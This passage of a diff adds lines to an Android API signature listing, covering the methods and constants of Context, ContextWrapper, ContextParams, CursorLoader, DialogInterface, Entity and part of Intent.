+    method @Nullable public abstract java.io.File getExternalFilesDir(@Nullable String);
+    method public abstract java.io.File[] getExternalFilesDirs(String);
+    method @Deprecated public abstract java.io.File[] getExternalMediaDirs();
+    method public abstract java.io.File getFileStreamPath(String);
+    method public abstract java.io.File getFilesDir();
+    method public java.util.concurrent.Executor getMainExecutor();
+    method public abstract android.os.Looper getMainLooper();
+    method public abstract java.io.File getNoBackupFilesDir();
+    method public abstract java.io.File getObbDir();
+    method public abstract java.io.File[] getObbDirs();
+    method @NonNull public String getOpPackageName();
+    method public abstract String getPackageCodePath();
+    method public abstract android.content.pm.PackageManager getPackageManager();
+    method public abstract String getPackageName();
+    method public abstract String getPackageResourcePath();
+    method @Nullable public android.content.ContextParams getParams();
+    method public abstract android.content.res.Resources getResources();
+    method public abstract android.content.SharedPreferences getSharedPreferences(String, int);
+    method @NonNull public final String getString(@StringRes int);
+    method @NonNull public final String getString(@StringRes int, java.lang.Object...);
+    method public abstract Object getSystemService(@NonNull String);
+    method @Nullable public abstract String getSystemServiceName(@NonNull Class<?>);
+    method @NonNull public final CharSequence getText(@StringRes int);
+    method public abstract android.content.res.Resources.Theme getTheme();
+    method @Deprecated public abstract android.graphics.drawable.Drawable getWallpaper();
+    method @Deprecated public abstract int getWallpaperDesiredMinimumHeight();
+    method @Deprecated public abstract int getWallpaperDesiredMinimumWidth();
+    method public abstract void grantUriPermission(String, android.net.Uri, int);
+    method public abstract boolean isDeviceProtectedStorage();
+    method public boolean isRestricted();
+    method public boolean isUiContext();
+    method public abstract boolean moveDatabaseFrom(android.content.Context, String);
+    method public abstract boolean moveSharedPreferencesFrom(android.content.Context, String);
+    method @NonNull public final android.content.res.TypedArray obtainStyledAttributes(@NonNull @StyleableRes int[]);
+    method @NonNull public final android.content.res.TypedArray obtainStyledAttributes(@StyleRes int, @NonNull @StyleableRes int[]) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[]);
+    method @NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[], @AttrRes int, @StyleRes int);
+    method public abstract java.io.FileInputStream openFileInput(String) throws java.io.FileNotFoundException;
+    method public abstract java.io.FileOutputStream openFileOutput(String, int) throws java.io.FileNotFoundException;
+    method public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler);
+    method @Deprecated public abstract android.graphics.drawable.Drawable peekWallpaper();
+    method public void registerComponentCallbacks(android.content.ComponentCallbacks);
+    method @Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter);
+    method @Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, int);
+    method @Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler);
+    method @Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler, int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY) public abstract void removeStickyBroadcast(@RequiresPermission android.content.Intent);
+    method @Deprecated @RequiresPermission(allOf={"android.permission.INTERACT_ACROSS_USERS", android.Manifest.permission.BROADCAST_STICKY}) public abstract void removeStickyBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle);
+    method public abstract void revokeUriPermission(android.net.Uri, int);
+    method public abstract void revokeUriPermission(String, android.net.Uri, int);
+    method public abstract void sendBroadcast(@RequiresPermission android.content.Intent);
+    method public abstract void sendBroadcast(@RequiresPermission android.content.Intent, @Nullable String);
+    method @RequiresPermission("android.permission.INTERACT_ACROSS_USERS") public abstract void sendBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle);
+    method @RequiresPermission("android.permission.INTERACT_ACROSS_USERS") public abstract void sendBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, @Nullable String);
+    method public void sendBroadcastWithMultiplePermissions(@NonNull android.content.Intent, @NonNull String[]);
+    method public abstract void sendOrderedBroadcast(@RequiresPermission android.content.Intent, @Nullable String);
+    method public abstract void sendOrderedBroadcast(@NonNull @RequiresPermission android.content.Intent, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method public void sendOrderedBroadcast(@NonNull android.content.Intent, @Nullable String, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method @RequiresPermission("android.permission.INTERACT_ACROSS_USERS") public abstract void sendOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, @Nullable String, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY) public abstract void sendStickyBroadcast(@RequiresPermission android.content.Intent);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY) public void sendStickyBroadcast(@NonNull @RequiresPermission android.content.Intent, @Nullable android.os.Bundle);
+    method @Deprecated @RequiresPermission(allOf={"android.permission.INTERACT_ACROSS_USERS", android.Manifest.permission.BROADCAST_STICKY}) public abstract void sendStickyBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY) public abstract void sendStickyOrderedBroadcast(@RequiresPermission android.content.Intent, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method @Deprecated @RequiresPermission(allOf={"android.permission.INTERACT_ACROSS_USERS", android.Manifest.permission.BROADCAST_STICKY}) public abstract void sendStickyOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method public abstract void setTheme(@StyleRes int);
+    method @Deprecated public abstract void setWallpaper(android.graphics.Bitmap) throws java.io.IOException;
+    method @Deprecated public abstract void setWallpaper(java.io.InputStream) throws java.io.IOException;
+    method public abstract void startActivities(@RequiresPermission android.content.Intent[]);
+    method public abstract void startActivities(@RequiresPermission android.content.Intent[], android.os.Bundle);
+    method public abstract void startActivity(@RequiresPermission android.content.Intent);
+    method public abstract void startActivity(@RequiresPermission android.content.Intent, @Nullable android.os.Bundle);
+    method @Nullable public abstract android.content.ComponentName startForegroundService(android.content.Intent);
+    method public abstract boolean startInstrumentation(@NonNull android.content.ComponentName, @Nullable String, @Nullable android.os.Bundle);
+    method public abstract void startIntentSender(android.content.IntentSender, @Nullable android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException;
+    method public abstract void startIntentSender(android.content.IntentSender, @Nullable android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method @Nullable public abstract android.content.ComponentName startService(android.content.Intent);
+    method public abstract boolean stopService(android.content.Intent);
+    method public abstract void unbindService(@NonNull android.content.ServiceConnection);
+    method public void unregisterComponentCallbacks(android.content.ComponentCallbacks);
+    method public abstract void unregisterReceiver(android.content.BroadcastReceiver);
+    method public void updateServiceGroup(@NonNull android.content.ServiceConnection, int, int);
+    field public static final String ACCESSIBILITY_SERVICE = "accessibility";
+    field public static final String ACCOUNT_SERVICE = "account";
+    field public static final String ACTIVITY_SERVICE = "activity";
+    field public static final String ALARM_SERVICE = "alarm";
+    field public static final String APPWIDGET_SERVICE = "appwidget";
+    field public static final String APP_OPS_SERVICE = "appops";
+    field public static final String APP_SEARCH_SERVICE = "app_search";
+    field public static final String AUDIO_SERVICE = "audio";
+    field public static final String BATTERY_SERVICE = "batterymanager";
+    field public static final int BIND_ABOVE_CLIENT = 8; // 0x8
+    field public static final int BIND_ADJUST_WITH_ACTIVITY = 128; // 0x80
+    field public static final int BIND_ALLOW_OOM_MANAGEMENT = 16; // 0x10
+    field public static final int BIND_AUTO_CREATE = 1; // 0x1
+    field public static final int BIND_DEBUG_UNBIND = 2; // 0x2
+    field public static final int BIND_EXTERNAL_SERVICE = -2147483648; // 0x80000000
+    field public static final int BIND_IMPORTANT = 64; // 0x40
+    field public static final int BIND_INCLUDE_CAPABILITIES = 4096; // 0x1000
+    field public static final int BIND_NOT_FOREGROUND = 4; // 0x4
+    field public static final int BIND_NOT_PERCEPTIBLE = 256; // 0x100
+    field public static final int BIND_WAIVE_PRIORITY = 32; // 0x20
+    field public static final String BIOMETRIC_SERVICE = "biometric";
+    field public static final String BLOB_STORE_SERVICE = "blob_store";
+    field public static final String BLUETOOTH_SERVICE = "bluetooth";
+    field public static final String BUGREPORT_SERVICE = "bugreport";
+    field public static final String CAMERA_SERVICE = "camera";
+    field public static final String CAPTIONING_SERVICE = "captioning";
+    field public static final String CARRIER_CONFIG_SERVICE = "carrier_config";
+    field public static final String CLIPBOARD_SERVICE = "clipboard";
+    field public static final String COMPANION_DEVICE_SERVICE = "companiondevice";
+    field public static final String CONNECTIVITY_DIAGNOSTICS_SERVICE = "connectivity_diagnostics";
+    field public static final String CONNECTIVITY_SERVICE = "connectivity";
+    field public static final String CONSUMER_IR_SERVICE = "consumer_ir";
+    field public static final int CONTEXT_IGNORE_SECURITY = 2; // 0x2
+    field public static final int CONTEXT_INCLUDE_CODE = 1; // 0x1
+    field public static final int CONTEXT_RESTRICTED = 4; // 0x4
+    field public static final String CROSS_PROFILE_APPS_SERVICE = "crossprofileapps";
+    field public static final String DEVICE_POLICY_SERVICE = "device_policy";
+    field public static final String DISPLAY_HASH_SERVICE = "display_hash";
+    field public static final String DISPLAY_SERVICE = "display";
+    field public static final String DOMAIN_VERIFICATION_SERVICE = "domain_verification";
+    field public static final String DOWNLOAD_SERVICE = "download";
+    field public static final String DROPBOX_SERVICE = "dropbox";
+    field public static final String EUICC_SERVICE = "euicc";
+    field public static final String FILE_INTEGRITY_SERVICE = "file_integrity";
+    field public static final String FINGERPRINT_SERVICE = "fingerprint";
+    field public static final String GAME_SERVICE = "game";
+    field public static final String HARDWARE_PROPERTIES_SERVICE = "hardware_properties";
+    field public static final String INPUT_METHOD_SERVICE = "input_method";
+    field public static final String INPUT_SERVICE = "input";
+    field public static final String IPSEC_SERVICE = "ipsec";
+    field public static final String JOB_SCHEDULER_SERVICE = "jobscheduler";
+    field public static final String KEYGUARD_SERVICE = "keyguard";
+    field public static final String LAUNCHER_APPS_SERVICE = "launcherapps";
+    field @UiContext public static final String LAYOUT_INFLATER_SERVICE = "layout_inflater";
+    field public static final String LOCATION_SERVICE = "location";
+    field public static final String MEDIA_COMMUNICATION_SERVICE = "media_communication";
+    field public static final String MEDIA_METRICS_SERVICE = "media_metrics";
+    field public static final String MEDIA_PROJECTION_SERVICE = "media_projection";
+    field public static final String MEDIA_ROUTER_SERVICE = "media_router";
+    field public static final String MEDIA_SESSION_SERVICE = "media_session";
+    field public static final String MIDI_SERVICE = "midi";
+    field public static final int MODE_APPEND = 32768; // 0x8000
+    field public static final int MODE_ENABLE_WRITE_AHEAD_LOGGING = 8; // 0x8
+    field @Deprecated public static final int MODE_MULTI_PROCESS = 4; // 0x4
+    field public static final int MODE_NO_LOCALIZED_COLLATORS = 16; // 0x10
+    field public static final int MODE_PRIVATE = 0; // 0x0
+    field @Deprecated public static final int MODE_WORLD_READABLE = 1; // 0x1
+    field @Deprecated public static final int MODE_WORLD_WRITEABLE = 2; // 0x2
+    field public static final String NETWORK_STATS_SERVICE = "netstats";
+    field public static final String NFC_SERVICE = "nfc";
+    field public static final String NOTIFICATION_SERVICE = "notification";
+    field public static final String NSD_SERVICE = "servicediscovery";
+    field public static final String PEOPLE_SERVICE = "people";
+    field public static final String PERFORMANCE_HINT_SERVICE = "performance_hint";
+    field public static final String POWER_SERVICE = "power";
+    field public static final String PRINT_SERVICE = "print";
+    field public static final int RECEIVER_VISIBLE_TO_INSTANT_APPS = 1; // 0x1
+    field public static final String RESTRICTIONS_SERVICE = "restrictions";
+    field public static final String ROLE_SERVICE = "role";
+    field public static final String SEARCH_SERVICE = "search";
+    field public static final String SENSOR_SERVICE = "sensor";
+    field public static final String SHORTCUT_SERVICE = "shortcut";
+    field public static final String STORAGE_SERVICE = "storage";
+    field public static final String STORAGE_STATS_SERVICE = "storagestats";
+    field public static final String SYSTEM_HEALTH_SERVICE = "systemhealth";
+    field public static final String TELECOM_SERVICE = "telecom";
+    field public static final String TELEPHONY_IMS_SERVICE = "telephony_ims";
+    field public static final String TELEPHONY_SERVICE = "phone";
+    field public static final String TELEPHONY_SUBSCRIPTION_SERVICE = "telephony_subscription_service";
+    field public static final String TEXT_CLASSIFICATION_SERVICE = "textclassification";
+    field public static final String TEXT_SERVICES_MANAGER_SERVICE = "textservices";
+    field public static final String TV_INPUT_SERVICE = "tv_input";
+    field public static final String UI_MODE_SERVICE = "uimode";
+    field public static final String USAGE_STATS_SERVICE = "usagestats";
+    field public static final String USB_SERVICE = "usb";
+    field public static final String USER_SERVICE = "user";
+    field public static final String VIBRATOR_MANAGER_SERVICE = "vibrator_manager";
+    field @Deprecated public static final String VIBRATOR_SERVICE = "vibrator";
+    field public static final String VPN_MANAGEMENT_SERVICE = "vpn_management";
+    field @UiContext public static final String WALLPAPER_SERVICE = "wallpaper";
+    field public static final String WIFI_AWARE_SERVICE = "wifiaware";
+    field public static final String WIFI_P2P_SERVICE = "wifip2p";
+    field public static final String WIFI_RTT_RANGING_SERVICE = "wifirtt";
+    field public static final String WIFI_SERVICE = "wifi";
+    field @UiContext public static final String WINDOW_SERVICE = "window";
+  }
+
+  public final class ContextParams {
+    method @Nullable public String getAttributionTag();
+    method @Nullable public android.content.AttributionSource getNextAttributionSource();
+  }
+
+  public static final class ContextParams.Builder {
+    ctor public ContextParams.Builder();
+    ctor public ContextParams.Builder(@NonNull android.content.ContextParams);
+    method @NonNull public android.content.ContextParams build();
+    method @NonNull public android.content.ContextParams.Builder setAttributionTag(@Nullable String);
+    method @NonNull public android.content.ContextParams.Builder setNextAttributionSource(@Nullable android.content.AttributionSource);
+  }
+
+  public class ContextWrapper extends android.content.Context {
+    ctor public ContextWrapper(android.content.Context);
+    method protected void attachBaseContext(android.content.Context);
+    method public boolean bindService(android.content.Intent, android.content.ServiceConnection, int);
+    method public int checkCallingOrSelfPermission(String);
+    method public int checkCallingOrSelfUriPermission(android.net.Uri, int);
+    method public int checkCallingPermission(String);
+    method public int checkCallingUriPermission(android.net.Uri, int);
+    method public int checkPermission(String, int, int);
+    method public int checkSelfPermission(String);
+    method public int checkUriPermission(android.net.Uri, int, int, int);
+    method public int checkUriPermission(@Nullable android.net.Uri, @Nullable String, @Nullable String, int, int, int);
+    method @Deprecated public void clearWallpaper() throws java.io.IOException;
+    method public android.content.Context createConfigurationContext(android.content.res.Configuration);
+    method public android.content.Context createContextForSplit(String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public android.content.Context createDeviceProtectedStorageContext();
+    method public android.content.Context createDisplayContext(android.view.Display);
+    method public android.content.Context createPackageContext(String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public String[] databaseList();
+    method public boolean deleteDatabase(String);
+    method public boolean deleteFile(String);
+    method public boolean deleteSharedPreferences(String);
+    method public void enforceCallingOrSelfPermission(String, @Nullable String);
+    method public void enforceCallingOrSelfUriPermission(android.net.Uri, int, String);
+    method public void enforceCallingPermission(String, @Nullable String);
+    method public void enforceCallingUriPermission(android.net.Uri, int, String);
+    method public void enforcePermission(String, int, int, @Nullable String);
+    method public void enforceUriPermission(android.net.Uri, int, int, int, String);
+    method public void enforceUriPermission(@Nullable android.net.Uri, @Nullable String, @Nullable String, int, int, int, @Nullable String);
+    method public String[] fileList();
+    method public android.content.Context getApplicationContext();
+    method public android.content.pm.ApplicationInfo getApplicationInfo();
+    method public android.content.res.AssetManager getAssets();
+    method public android.content.Context getBaseContext();
+    method public java.io.File getCacheDir();
+    method public ClassLoader getClassLoader();
+    method public java.io.File getCodeCacheDir();
+    method public android.content.ContentResolver getContentResolver();
+    method public java.io.File getDataDir();
+    method public java.io.File getDatabasePath(String);
+    method public java.io.File getDir(String, int);
+    method @Nullable public java.io.File getExternalCacheDir();
+    method public java.io.File[] getExternalCacheDirs();
+    method @Nullable public java.io.File getExternalFilesDir(@Nullable String);
+    method public java.io.File[] getExternalFilesDirs(String);
+    method public java.io.File[] getExternalMediaDirs();
+    method public java.io.File getFileStreamPath(String);
+    method public java.io.File getFilesDir();
+    method public android.os.Looper getMainLooper();
+    method public java.io.File getNoBackupFilesDir();
+    method public java.io.File getObbDir();
+    method public java.io.File[] getObbDirs();
+    method public String getPackageCodePath();
+    method public android.content.pm.PackageManager getPackageManager();
+    method public String getPackageName();
+    method public String getPackageResourcePath();
+    method public android.content.res.Resources getResources();
+    method public android.content.SharedPreferences getSharedPreferences(String, int);
+    method public Object getSystemService(String);
+    method public String getSystemServiceName(Class<?>);
+    method public android.content.res.Resources.Theme getTheme();
+    method @Deprecated public android.graphics.drawable.Drawable getWallpaper();
+    method @Deprecated public int getWallpaperDesiredMinimumHeight();
+    method @Deprecated public int getWallpaperDesiredMinimumWidth();
+    method public void grantUriPermission(String, android.net.Uri, int);
+    method public boolean isDeviceProtectedStorage();
+    method public boolean moveDatabaseFrom(android.content.Context, String);
+    method public boolean moveSharedPreferencesFrom(android.content.Context, String);
+    method public java.io.FileInputStream openFileInput(String) throws java.io.FileNotFoundException;
+    method public java.io.FileOutputStream openFileOutput(String, int) throws java.io.FileNotFoundException;
+    method public android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method public android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler);
+    method @Deprecated public android.graphics.drawable.Drawable peekWallpaper();
+    method public android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter);
+    method public android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, int);
+    method public android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler);
+    method public android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler, int);
+    method @Deprecated public void removeStickyBroadcast(android.content.Intent);
+    method @Deprecated public void removeStickyBroadcastAsUser(android.content.Intent, android.os.UserHandle);
+    method public void revokeUriPermission(android.net.Uri, int);
+    method public void revokeUriPermission(String, android.net.Uri, int);
+    method public void sendBroadcast(android.content.Intent);
+    method public void sendBroadcast(android.content.Intent, @Nullable String);
+    method public void sendBroadcastAsUser(android.content.Intent, android.os.UserHandle);
+    method public void sendBroadcastAsUser(android.content.Intent, android.os.UserHandle, String);
+    method public void sendOrderedBroadcast(android.content.Intent, @Nullable String);
+    method public void sendOrderedBroadcast(android.content.Intent, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method public void sendOrderedBroadcast(@NonNull @RequiresPermission android.content.Intent, int, @Nullable String, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, @Nullable String, @Nullable android.os.Bundle, @Nullable android.os.Bundle);
+    method public void sendOrderedBroadcastAsUser(android.content.Intent, android.os.UserHandle, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method @Deprecated public void sendStickyBroadcast(android.content.Intent);
+    method @Deprecated public void sendStickyBroadcastAsUser(android.content.Intent, android.os.UserHandle);
+    method @Deprecated public void sendStickyOrderedBroadcast(android.content.Intent, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method @Deprecated public void sendStickyOrderedBroadcastAsUser(android.content.Intent, android.os.UserHandle, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle);
+    method public void setTheme(int);
+    method @Deprecated public void setWallpaper(android.graphics.Bitmap) throws java.io.IOException;
+    method @Deprecated public void setWallpaper(java.io.InputStream) throws java.io.IOException;
+    method public void startActivities(android.content.Intent[]);
+    method public void startActivities(android.content.Intent[], @Nullable android.os.Bundle);
+    method public void startActivity(android.content.Intent);
+    method public void startActivity(android.content.Intent, @Nullable android.os.Bundle);
+    method @Nullable public android.content.ComponentName startForegroundService(android.content.Intent);
+    method public boolean startInstrumentation(android.content.ComponentName, @Nullable String, @Nullable android.os.Bundle);
+    method public void startIntentSender(android.content.IntentSender, @Nullable android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException;
+    method public void startIntentSender(android.content.IntentSender, @Nullable android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method @Nullable public android.content.ComponentName startService(android.content.Intent);
+    method public boolean stopService(android.content.Intent);
+    method public void unbindService(android.content.ServiceConnection);
+    method public void unregisterReceiver(android.content.BroadcastReceiver);
+  }
+
+  @Deprecated public class CursorLoader extends android.content.AsyncTaskLoader<android.database.Cursor> {
+    ctor @Deprecated public CursorLoader(android.content.Context);
+    ctor @Deprecated public CursorLoader(android.content.Context, android.net.Uri, String[], String, String[], String);
+    method @Deprecated public void deliverResult(android.database.Cursor);
+    method @Deprecated public String[] getProjection();
+    method @Deprecated public String getSelection();
+    method @Deprecated public String[] getSelectionArgs();
+    method @Deprecated public String getSortOrder();
+    method @Deprecated public android.net.Uri getUri();
+    method @Deprecated public android.database.Cursor loadInBackground();
+    method @Deprecated public void onCanceled(android.database.Cursor);
+    method @Deprecated public void setProjection(String[]);
+    method @Deprecated public void setSelection(String);
+    method @Deprecated public void setSelectionArgs(String[]);
+    method @Deprecated public void setSortOrder(String);
+    method @Deprecated public void setUri(android.net.Uri);
+  }
+
+  public interface DialogInterface {
+    method public void cancel();
+    method public void dismiss();
+    field @Deprecated public static final int BUTTON1 = -1; // 0xffffffff
+    field @Deprecated public static final int BUTTON2 = -2; // 0xfffffffe
+    field @Deprecated public static final int BUTTON3 = -3; // 0xfffffffd
+    field public static final int BUTTON_NEGATIVE = -2; // 0xfffffffe
+    field public static final int BUTTON_NEUTRAL = -3; // 0xfffffffd
+    field public static final int BUTTON_POSITIVE = -1; // 0xffffffff
+  }
+
+  public static interface DialogInterface.OnCancelListener {
+    method public void onCancel(android.content.DialogInterface);
+  }
+
+  public static interface DialogInterface.OnClickListener {
+    method public void onClick(android.content.DialogInterface, int);
+  }
+
+  public static interface DialogInterface.OnDismissListener {
+    method public void onDismiss(android.content.DialogInterface);
+  }
+
+  public static interface DialogInterface.OnKeyListener {
+    method public boolean onKey(android.content.DialogInterface, int, android.view.KeyEvent);
+  }
+
+  public static interface DialogInterface.OnMultiChoiceClickListener {
+    method public void onClick(android.content.DialogInterface, int, boolean);
+  }
+
+  public static interface DialogInterface.OnShowListener {
+    method public void onShow(android.content.DialogInterface);
+  }
+
+  public final class Entity {
+    ctor public Entity(android.content.ContentValues);
+    method public void addSubValue(android.net.Uri, android.content.ContentValues);
+    method public android.content.ContentValues getEntityValues();
+    method public java.util.ArrayList<android.content.Entity.NamedContentValues> getSubValues();
+  }
+
+  public static class Entity.NamedContentValues {
+    ctor public Entity.NamedContentValues(android.net.Uri, android.content.ContentValues);
+    field public final android.net.Uri uri;
+    field public final android.content.ContentValues values;
+  }
+
+  public interface EntityIterator extends java.util.Iterator<android.content.Entity> {
+    method public void close();
+    method public void reset();
+  }
+
+  public class Intent implements java.lang.Cloneable android.os.Parcelable {
+    ctor public Intent();
+    ctor public Intent(android.content.Intent);
+    ctor public Intent(String);
+    ctor public Intent(String, android.net.Uri);
+    ctor public Intent(android.content.Context, Class<?>);
+    ctor public Intent(String, android.net.Uri, android.content.Context, Class<?>);
+    method @NonNull public android.content.Intent addCategory(String);
+    method @NonNull public android.content.Intent addFlags(int);
+    method public Object clone();
+    method @NonNull public android.content.Intent cloneFilter();
+    method public static android.content.Intent createChooser(android.content.Intent, CharSequence);
+    method public static android.content.Intent createChooser(android.content.Intent, CharSequence, android.content.IntentSender);
+    method public int describeContents();
+    method public int fillIn(@NonNull android.content.Intent, int);
+    method public boolean filterEquals(android.content.Intent);
+    method public int filterHashCode();
+    method @Nullable public String getAction();
+    method @Nullable public boolean[] getBooleanArrayExtra(String);
+    method public boolean getBooleanExtra(String, boolean);
+    method @Nullable public android.os.Bundle getBundleExtra(String);
+    method @Nullable public byte[] getByteArrayExtra(String);
+    method public byte getByteExtra(String, byte);
+    method public java.util.Set<java.lang.String> getCategories();
+    method @Nullable public char[] getCharArrayExtra(String);
+    method public char getCharExtra(String, char);
+    method @Nullable public CharSequence[] getCharSequenceArrayExtra(String);
+    method @Nullable public java.util.ArrayList<java.lang.CharSequence> getCharSequenceArrayListExtra(String);
+    method @Nullable public CharSequence getCharSequenceExtra(String);
+    method @Nullable public android.content.ClipData getClipData();
+    method @Nullable public android.content.ComponentName getComponent();
+    method @Nullable public android.net.Uri getData();
+    method @Nullable public String getDataString();
+    method @Nullable public double[] getDoubleArrayExtra(String);
+    method public double getDoubleExtra(String, double);
+    method @Nullable public android.os.Bundle getExtras();
+    method public int getFlags();
+    method @Nullable public float[] getFloatArrayExtra(String);
+    method public float getFloatExtra(String, float);
+    method @Nullable public String getIdentifier();
+    method @Nullable public int[] getIntArrayExtra(String);
+    method public int getIntExtra(String, int);
+    method @Nullable public java.util.ArrayList<java.lang.Integer> getIntegerArrayListExtra(String);
+    method @Deprecated public static android.content.Intent getIntent(String) throws java.net.URISyntaxException;
+    method public static android.content.Intent getIntentOld(String) throws java.net.URISyntaxException;
+    method @Nullable public long[] getLongArrayExtra(String);
+    method public long getLongExtra(String, long);
+    method @Nullable public String getPackage();
+    method @Nullable public android.os.Parcelable[] getParcelableArrayExtra(String);
+    method @Nullable public <T extends android.os.Parcelable> java.util.ArrayList<T> getParcelableArrayListExtra(String);
+    method @Nullable public <T extends android.os.Parcelable> T getParcelableExtra(String);
+    method @Nullable public String getScheme();
+    method @Nullable public android.content.Intent getSelector();
+    method @Nullable public java.io.Serializable getSerializableExtra(String);
+    method @Nullable public short[] getShortArrayExtra(String);
+    method public short getShortExtra(String, short);
+    method @Nullable public android.graphics.Rect getSourceBounds();
+    method @Nullable public String[] getStringArrayExtra(String);
+    method @Nullable public java.util.ArrayList<java.lang.String> getStringArrayListExtra(String);
+    method @Nullable public String getStringExtra(String);
+    method @Nullable public String getType();
+    method public boolean hasCategory(String);
+    method public boolean hasExtra(String);
+    method public boolean hasFileDescriptors();
+    method public static android.content.Intent makeMainActivity(android.content.ComponentName);
+    method public static android.content.Intent makeMainSelectorActivity(String, String);
+    method public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
+    method @Nullable public static String normalizeMimeType(@Nullable String);
+    method @NonNull public static android.content.Intent parseIntent(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, android.util.AttributeSet) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public static android.content.Intent parseUri(String, int) throws java.net.URISyntaxException;
+    method @NonNull public android.content.Intent putCharSequenceArrayListExtra(String, @Nullable java.util.ArrayList<java.lang.CharSequence>);
+    method @NonNull public android.content.Intent putExtra(String, boolean);
+    method @NonNull public android.content.Intent putExtra(String, byte);
+    method @NonNull public android.content.Intent putExtra(String, char);
+    method @NonNull public android.content.Intent putExtra(String, short);
+    method @NonNull public android.content.Intent putExtra(String, int);
+    method @NonNull public android.content.Intent putExtra(String, long);
+    method @NonNull public android.content.Intent putExtra(String, float);
+    method @NonNull public android.content.Intent putExtra(String, double);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable String);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable CharSequence);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable android.os.Parcelable);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable android.os.Parcelable[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable java.io.Serializable);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable boolean[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable byte[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable short[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable char[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable int[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable long[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable float[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable double[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable String[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable CharSequence[]);
+    method @NonNull public android.content.Intent putExtra(String, @Nullable android.os.Bundle);
+    method @NonNull public android.content.Intent putExtras(@NonNull android.content.Intent);
+    method @NonNull public android.content.Intent putExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.content.Intent putIntegerArrayListExtra(String, @Nullable java.util.ArrayList<java.lang.Integer>);
+    method @NonNull public android.content.Intent putParcelableArrayListExtra(String, @Nullable java.util.ArrayList<? extends android.os.Parcelable>);
+    method @NonNull public android.content.Intent putStringArrayListExtra(String, @Nullable java.util.ArrayList<java.lang.String>);
+    method public void readFromParcel(android.os.Parcel);
+    method public void removeCategory(String);
